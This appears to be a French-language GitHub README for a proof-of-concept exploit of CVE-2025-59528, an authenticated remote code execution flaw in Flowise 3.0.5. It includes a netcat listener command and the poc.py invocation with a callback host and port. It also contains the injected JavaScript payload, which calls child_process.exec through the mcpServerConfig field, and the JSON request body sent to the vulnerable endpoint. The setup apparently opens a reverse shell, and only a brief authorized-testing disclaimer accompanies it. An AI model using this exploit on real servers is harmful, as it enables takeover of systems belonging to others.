nymiitechtips/cve-2025-59528Proof-of-concept for CVE-2025-59528, demonstrating authenticated remote code execution in Flowise via mcpServerConfig injection, with reproducible steps for authorized testing.
PoC minimaliste et orienté validation technique de la vulnérabilité sur un environnement autorisé.
nc -lvn 4444).Lancer un listener:
nc -lvn 4444
python3 poc.py --domain exemple.com --host 10.10.10.1 --port 4444 --api VOTRE_CLEF_API_VALIDE
Remplace les valeurs avec celles de ton environnement autorise.
3.0.5Remote Code Execution (RCE)POST /api/v1/node-load-method/customMCPLe probleme vient du traitement de la valeur inputs.mcpServerConfig: cette valeur est interpretee d'une facon qui permet l'execution de code JavaScript cote serveur. En pratique, un attaquant authentifie peut injecter une expression qui appelle child_process et execute une commande systeme.
La logique d'exploitation est:
customMCP.mcpServerConfig une expression JavaScript malveillante.process.mainModule.require('child_process').exec/execSync).Si la requete est acceptee, le serveur execute la commande dans son contexte systeme.
poc.py)Ton script prend quatre arguments:
-d/--domain: domaine cible-lh/--host: IP de callback-lp/--port: port de callback-A/--api: token API BearerEnsuite il:
http://<domaine>/api/v1/node-load-method/customMCPAuthorization: Bearer <token>({
x: (function () {
const cp = process.mainModule.require("child_process");
cp.exec("<commande>");
return 1;
})(),
});
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "<expression JS injectee>"
}
}
Par rapport au PoC EDB (qui fait login email/password, gere des headers navigateur, et execute une commande libre --cmd), ton script est meilleur pour un usage PoC pur:
mcpServerConfig et execution serveur.En bref: l'EDB est plus "demo offensive generique", ton PoC est plus "reproductibilite technique ciblee".
https ni de gestion de certificats.--cmd).Tester uniquement sur des systemes que tu possedes ou pour lesquels tu as une autorisation explicite.